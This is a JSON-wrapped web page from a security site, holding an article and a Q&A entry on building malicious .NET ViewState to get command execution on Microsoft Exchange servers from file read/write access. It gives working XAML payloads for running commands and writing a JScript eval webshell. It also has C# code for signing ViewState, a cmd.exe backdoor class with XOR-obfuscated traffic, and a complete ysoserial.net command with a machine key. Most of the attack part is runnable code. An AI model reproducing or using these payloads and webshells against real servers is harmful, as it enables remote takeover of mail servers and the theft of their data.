[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4EmhOunX2CqAQUXUobTwOnvOKzqULAFZgnuySQDHJNI":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":50,"createdAt":50,"_status":49},537,"What types of malicious actions can be achieved through XAML data in ViewState generation?","Four types are introduced: executing commands (e.g., launching notepad), writing a file (e.g., a webshell), setting HTTP response headers, and setting the response body. Each uses specific XAML namespaces from System.Diagnostics or System.Web, and care must be taken with XAML escape characters, especially when writing files that contain code.","\u003Cp>Four types are introduced: executing commands (e.g., launching notepad), writing a file (e.g., a webshell), setting HTTP response headers, and setting the response body. Each uses specific XAML namespaces from System.Diagnostics or System.Web, and care must be taken with XAML escape characters, especially when writing files that contain code.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fdotnet-deserialization-program-implementation-for-generating-viewstate\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-types-of-malicious-actions-can-be-achieved-through-xaml-data-in-viewstate-g-1777483081289","XAML, command execution, webshell, response manipulation",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":46,"updatedAt":47,"createdAt":48,"_status":49},132,"DotNet Deserialization - Program Implementation for Generating ViewState","dotnet-deserialization-program-implementation-for-generating-viewstate","Learn to generate malicious ViewState for DotNet deserialization attacks, exploit Exchange file permissions, and implement XAML payloads for RCE.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Penetration Techniques - From Exchange File Read\u002FWrite Permissions to Command Execution', we introduced the method of achieving command execution from Exchange file read\u002Fwrite permissions through .Net deserialization of ViewState, sharing development details of three exploitation scripts. This article will specifically analyze the details of generating ViewState and introduce another script development detail for achieving command execution from Exchange file read\u002Fwrite permissions.\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.zcgonvh.com\u002Fpost\u002Fweaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Two implementation methods for generating ViewState\u003C\u002Fli>\u003Cli>Details of another exploitation script development\u003C\u002Fli>\u003Cli>Open-source code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Background Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Implementation Principle of DotNet ViewState Deserialization\u003C\u002Fh3>\u003Cp>If the content of the web.config file can be read to obtain the encryption key and algorithm, valid serialized data can be constructed. If the serialized data is set as a malicious delegate, remote code execution can be achieved when ViewState uses ObjectStateFormatter for deserialization to invoke the delegate.\u003C\u002Fp>\u003Ch3>2. ViewState Generation Process\u003C\u002Fh3>\u003Cp>Using validationkey and generator as parameters, sign the serialized xaml data, place it after the serialized xaml data, and then perform Base64 encoding to form the final ViewState content.\u003C\u002Fp>\u003Cp>Intuitive understanding:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>data = Serialize(xaml)\u003Cbr>ViewState = data + (data+generator).ComputeHash(validationKey)\u003Cbr>ViewState = Base64(ViewState)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For encryption details, refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net\u002Fblob\u002Fmaster\u002Fysoserial\u002FPlugins\u002FViewStatePlugin.cs#L255\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002F0xacb\u002Fviewgen\u002Fblob\u002Fmaster\u002Fviewgen#L156\u003C\u002Fp>\u003Cp>Specific details can be examined by decompiling System.Web.dll using dnSpy, locating the GetEncodedData function in System.Web.Configuration.MachineKeySection.\u003C\u002Fp>\u003Ch2>0x03 Two Implementation Methods for Generating ViewState\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test Environment:\u003C\u002Fp>\u003Cp>Obtained Exchange file read\u002Fwrite permissions, enabling modification of %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\web.config and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\web.config, setting the machineKey content as follows:\u003C\u002Fp>\u003Cp>\u003Cmachinekey validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" decryptionkey=\"E9D2490BD0075B51D1BA5288514514AF\" validation=\"SHA1\" decryption=\"3DES\">\u003C\u002Fmachinekey>\u003C\u002Fp>\u003Cp>For .NET deserialization command execution at these two locations, legitimate user credentials are no longer required\u003C\u002Fp>\u003Cp>The following introduces two programmatic methods for generating ViewState\u003C\u002Fp>\u003Ch3>1. Generating ViewState from XAML data\u003C\u002Fh3>\u003Cp>Process is as follows:\u003C\u002Fp>\u003Col>\u003Cli>Construct XAML data\u003C\u002Fli>\u003Cli>Generate serialized XAML data\u003C\u002Fli>\u003Cli>Generate signature data\u003C\u002Fli>\u003Cli>Concatenate serialized XAML data and signature data, then perform Base64 encoding\u003C\u002Fli>\u003C\u002Fol>\u003Cp>(1) Constructing XAML data\u003C\u002Fp>\u003Cp>Four types are introduced here, corresponding to four functionalities respectively\u003C\u002Fp>\u003Cp>Execute command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cresourcedictionary xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\u002Fpresentation\" \u003Cbr=\"\">    xmlns:x=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\"\u003Cbr>  xmlns:System=\"clr-namespace:System;assembly=mscorlib\" \u003Cbr>    xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"&gt;\u003Cbr>     \u003Cobjectdataprovider x:key=\"\" objecttype=\"{x:Type Diag:Process}\" methodname=\"Start\">\u003Cbr>     \u003Cobjectdataprovider.methodparameters>\u003Cbr>        \u003Csystem:string>cmd\u003C\u002Fsystem:string>\u003Cbr>        \u003Csystem:string>\"\u002Fc notepad\"\u003C\u002Fsystem:string>\u003Cbr>     \u003C\u002Fobjectdataprovider.methodparameters>\u003Cbr>    \u003C\u002Fobjectdataprovider>\u003Cbr>\u003C\u002Fresourcedictionary>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Write file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cresourcedictionary xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\u002Fpresentation\" \u003Cbr=\"\">    xmlns:x=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\" \u003Cbr>    xmlns:s=\"clr-namespace:System;assembly=mscorlib\"\u003Cbr>    xmlns:w=\"clr-namespace:System.Web;assembly=System.Web\"&gt;\u003Cbr>  \u003Cs:string x:key=\"a\" x:factorymethod=\"s:Environment.GetEnvironmentVariable\" x:arguments=\"ExchangeInstallPath\">\u003Cbr>  \u003Cs:string x:key=\"b\" x:factorymethod=\"Concat\">\u003Cbr>    \u003Cx:arguments>\u003Cbr>      \u003Cstaticresource resourcekey=\"a\">\u003Cbr>      \u003Cs:string>FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\xaml.aspx\u003C\u002Fs:string>\u003Cbr>    \u003C\u002Fstaticresource>\u003C\u002Fx:arguments>\u003Cbr>  \u003C\u002Fs:string>\u003Cbr>  \u003Cobjectdataprovider x:key=\"x\" objecttype=\"{x:Type s:IO.File}\" methodname=\"WriteAllText\">\u003Cbr>    \u003Cobjectdataprovider.methodparameters>\u003Cbr>      \u003Cstaticresource resourcekey=\"b\">\u003Cbr>      \u003Cs:string>&lt;%@ Page Language=\"Jscript\"%&gt;&lt;%eval(Request.Item[\"pass\"],\"unsafe\");%&gt;\u003Cbr>      \u003C\u002Fs:string>\u003Cbr>    \u003C\u002Fstaticresource>\u003C\u002Fobjectdataprovider.methodparameters>\u003Cbr>  \u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"c\" objectinstance=\"{x:Static w:HttpContext.Current}\" methodname=\"\">\u003Cbr>  \u003Cobjectdataprovider x:key=\"d\" objectinstance=\"{StaticResource c}\" methodname=\"get_Response\">\u003Cbr>  \u003Cobjectdataprovider x:key=\"e\" objectinstance=\"{StaticResource d}\" methodname=\"End\">\u003Cbr>\u003C\u002Fobjectdataprovider>\u003C\u002Fobjectdataprovider>\u003C\u002Fobjectdataprovider>\u003C\u002Fs:string>\u003C\u002Fresourcedictionary>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Pay attention to XAML escape characters\u003C\u002Fp>\u003Cp>Set Header:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cresourcedictionary xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\u002Fpresentation\" \u003Cbr=\"\">    xmlns:x=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\" \u003Cbr>    xmlns:s=\"clr-namespace:System;assembly=mscorlib\" \u003Cbr>    xmlns:w=\"clr-namespace:System.Web;assembly=System.Web\"&gt;\u003Cbr>  \u003Cobjectdataprovider x:key=\"a\" objectinstance=\"{x:Static w:HttpContext.Current}\" methodname=\"\">\u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"b\" objectinstance=\"{StaticResource a}\" methodname=\"get_Response\">\u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"c\" objectinstance=\"{StaticResource b}\" methodname=\"get_Headers\">\u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"d\" objectinstance=\"{StaticResource c}\" methodname=\"Add\">\u003Cbr>    \u003Cobjectdataprovider.methodparameters>\u003Cbr>      \u003Cs:string>TEST-HEADER\u003C\u002Fs:string>\u003Cbr>      \u003Cs:string>123456\u003C\u002Fs:string>\u003Cbr>    \u003C\u002Fobjectdataprovider.methodparameters>\u003Cbr>  \u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"e\" objectinstance=\"{StaticResource b}\" methodname=\"End\">\u003C\u002Fobjectdataprovider>\u003Cbr>\u003C\u002Fresourcedictionary>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Set Response:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cresourcedictionary xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\u002Fpresentation\" \u003Cbr=\"\">    xmlns:x=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwinfx\u002F2006\u002Fxaml\" \u003Cbr>    xmlns:s=\"clr-namespace:System;assembly=mscorlib\" \u003Cbr>    xmlns:w=\"clr-namespace:System.Web;assembly=System.Web\"&gt;\u003Cbr>  \u003Cobjectdataprovider x:key=\"a\" objectinstance=\"{x:Static w:HttpContext.Current}\" methodname=\"\">\u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"b\" objectinstance=\"{StaticResource a}\" methodname=\"get_Response\">\u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"c\" objectinstance=\"{StaticResource b}\" methodname=\"Write\">\u003Cbr>      \u003Cobjectdataprovider.methodparameters>\u003Cbr>      \u003Cs:string>123456\u003C\u002Fs:string>\u003Cbr>    \u003C\u002Fobjectdataprovider.methodparameters>\u003Cbr>  \u003C\u002Fobjectdataprovider>\u003Cbr>  \u003Cobjectdataprovider x:key=\"e\" objectinstance=\"{StaticResource b}\" methodname=\"End\">\u003C\u002Fobjectdataprovider>\u003Cbr>\u003C\u002Fresourcedictionary>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>(2) Generate serialized XAML data\u003C\u002Fp>\u003Cp>Requires Microsoft.PowerShell.Editor.dll\u003C\u002Fp>\u003Cp>(3) Generate signature data\u003C\u002Fp>\u003Cp>Reference code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>byte[] validationKey = strToToHexByte(key);\u003Cbr>uint _clientstateid = 0;\u003Cbr>\u002F\u002F Converting \"generator\" from HEX to INT\u003Cbr>if (!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))\u003Cbr>\t\tSystem.Environment.Exit(0);\u003Cbr>byte[] _mackey = new byte[4];\u003Cbr>_mackey[0] = (byte)_clientstateid;\u003Cbr>_mackey[1] = (byte)(_clientstateid &gt;&gt; 8);\u003Cbr>_mackey[2] = (byte)(_clientstateid &gt;&gt; 16);\u003Cbr>_mackey[3] = (byte)(_clientstateid &gt;&gt; 24);\u003Cbr>ms = new MemoryStream();\u003Cbr>ms.Write(data, 0, data.Length);\u003Cbr>ms.Write(_mackey, 0, _mackey.Length);\u003Cbr>byte[] hash = (new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code modified from https:\u002F\u002Fgithub.com\u002Fzcgonvh\u002FCVE-2020-0688\u002Fblob\u002Fmaster\u002FExchangeCmd.cs#L253\u003C\u002Fp>\u003Cp>(4) Concatenate serialized XAML data and signature data, then perform Base64 encoding\u003C\u002Fp>\u003Cp>Simply call Convert.ToBase64String()\u003C\u002Fp>\u003Cp>Complete implementation code has been uploaded to GitHub, address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code can read XAML files, compute signatures using validationkey and generator, and generate the final ViewState\u003C\u002Fp>\u003Cp>Advantages:\u003C\u002Fp>\u003Cp>Clear process, easy to debug and modify details\u003C\u002Fp>\u003Cp>Disadvantages:\u003C\u002Fp>\u003Cp>Requires dependency on the intermediate file Microsoft.PowerShell.Editor.dll, occupying space\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The complete exploitation files for this method have been packaged and uploaded to GitHub, address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch3>2. Generate ViewState from serialized XAML data\u003C\u002Fh3>\u003Cp>Utilize ysoserial.net to skip the step from XAML data to serialized XAML data, improving development efficiency\u003C\u002Fp>\u003Cp>Process as follows:\u003C\u002Fp>\u003Cp>(1) Modify the ysoserial.net source code to directly read usable serialized XAML data\u003C\u002Fp>\u003Cp>Add the following code at https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net\u002Fblob\u002Fmaster\u002Fysoserial\u002FPlugins\u002FViewStatePlugin.cs#L209:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Console.WriteLine(payloadString);\u003Cbr>Console.WriteLine(\"The content above is what we need\");\u003Cbr>Console.WriteLine(\"-----------\");\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can output Base64-encoded serialized XAML data in the console\u003C\u002Fp>\u003Cp>Compile ysoserial.net to generate ysoserial.exe, create a new shellPayload.cs in the same directory with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class E\u003Cbr>{\u003Cbr>    static string xor(string s) {\u003Cbr>        char[] a = s.ToCharArray();\u003Cbr>        for(int i = 0; i &lt; a.Length; i++)\u003Cbr>        a[i] = (char)(a[i] ^ 'x');\u003Cbr>        return new string(a);\u003Cbr>}\u003Cbr>    public E()\u003Cbr>    {\u003Cbr>        System.Web.HttpContext context = System.Web.HttpContext.Current;\u003Cbr>        context.Server.ClearError();\u003Cbr>        context.Response.Clear();\u003Cbr>        try\u003Cbr>        {\u003Cbr>            System.Diagnostics.Process process = new System.Diagnostics.Process();\u003Cbr>            process.StartInfo.FileName = \"cmd.exe\";\u003Cbr>            string cmd = context.Request.Form[\"__Value\"];\u003Cbr>            cmd = xor(cmd);        \u003Cbr>            process.StartInfo.Arguments = \"\u002Fc \" + cmd;\u003Cbr>            process.StartInfo.RedirectStandardOutput = true;\u003Cbr>            process.StartInfo.RedirectStandardError = true;\u003Cbr>            process.StartInfo.UseShellExecute = false;\u003Cbr>            process.Start();\u003Cbr>            string output = process.StandardOutput.ReadToEnd();            \u003Cbr>            output = xor(output);\u003Cbr>            context.Response.Write(output);\u003Cbr>\u003Cbr>        } catch (System.Exception) { }\u003Cbr>        context.Response.Flush();\u003Cbr>        context.Response.End();\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use ysoserial.exe to generate ViewState with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c \"shellPayload.cs;System.Web.dll;System.dll;\" --validationalg=\"SHA1\" --validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" --generator=\"042A94E8\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtain Base64-encoded serialized xaml data from the output\u003C\u002Fp>\u003Cp>(2) Calculate the signature of the serialized xaml data to generate the final ViewState data\u003C\u002Fp>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>static string CreateViewState(byte[] dat,string generator,string key)\u003Cbr>{\u003Cbr>    MemoryStream ms = new MemoryStream();\u003Cbr>    byte[] validationKey= strToHexByte(key);\u003Cbr>\u003Cbr>    uint _clientstateid = 0;\u003Cbr>    if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))\u003Cbr>{\u003Cbr>        System.Environment.Exit(0);\u003Cbr>    }\u003Cbr> \u003Cbr>    byte[] _mackey = new byte[4];\u003Cbr>    _mackey[0] = (byte)_clientstateid;\u003Cbr>    _mackey[1] = (byte)(_clientstateid &gt;&gt; 8);\u003Cbr>    _mackey[2] = (byte)(_clientstateid &gt;&gt; 16);\u003Cbr>    _mackey[3] = (byte)(_clientstateid &gt;&gt; 24);\u003Cbr>\u003Cbr>    ms = new MemoryStream();\u003Cbr>    ms.Write(dat,0,dat.Length);\u003Cbr>    ms.Write(_mackey,0,_mackey.Length);\u003Cbr>    byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());\u003Cbr>    ms=new MemoryStream();\u003Cbr>    ms.Write(dat,0,dat.Length);\u003Cbr>    ms.Write(hash,0,hash.Length);\u003Cbr>    return Convert.ToBase64String(ms.ToArray());\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The complete implementation code has been uploaded to GitHub, the address is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code implements calculating a signature from serialized XAML data to generate the final ViewState data\u003C\u002Fp>\u003Cp>Advantages:\u003C\u002Fp>\u003Cp>Occupies less space, can directly use existing Payloads from ysoserial.net\u003C\u002Fp>\u003Cp>Disadvantages:\u003C\u002Fp>\u003Cp>Debugging and modification are relatively cumbersome\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The CreateViewState() functions in the above two implementation methods differ in details, requiring attention\u003C\u002Fp>\u003Ch2>0x04 Another Detail in Exploit Script Development\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Used to achieve command execution from Exchange file read\u002Fwrite permissions\u003C\u002Fp>\u003Cp>Following the structure from https:\u002F\u002Fgithub.com\u002Fzcgonvh\u002FCVE-2020-0688\u002Fblob\u002Fmaster\u002FExchangeCmd.cs, encapsulate the serialized XAML data in an array, use validationkey and generator as parameters to sign the serialized XAML data, forming the final ViewState content\u003C\u002Fp>\u003Cp>The complete implementation code has been uploaded to GitHub, the address is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports deserialization execution at two locations: the default files %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\\TimeoutLogout.aspx\u003C\u002Fp>\u003Cp>The code first sends data implemented by ysoserial.net for ActivitySurrogateDisableTypeCheck, then can execute commands and obtain command execution results, sending data via POST with the parameter __Value, using character-by-character XOR encryption for communication data\u003C\u002Fp>\u003Cp>The supported features are consistent with ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article analyzes the details of generating ViewState, introduces two programmatic methods for generating ViewState, and writes code to implement another exploitation script from Exchange file read\u002Fwrite permissions to command execution\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",6,"published","2026-02-02T07:51:00.062Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"DotNet ViewState Deserialization: Program Implementation & Exploit Scripts","DotNet deserialization, ViewState generation, Exchange exploit, CVE-2020-0688, XAML payload, command execution, web.config, machineKey, ysoserial.net",false,[],{"docs":41,"hasNextPage":38},[4,42,43,44,45],536,535,534,533,{"title":30,"description":30,"image":30},"2026-07-24T02:07:22.898Z","2026-07-23T16:01:42.179Z","draft","2026-07-23T16:13:07.450Z"]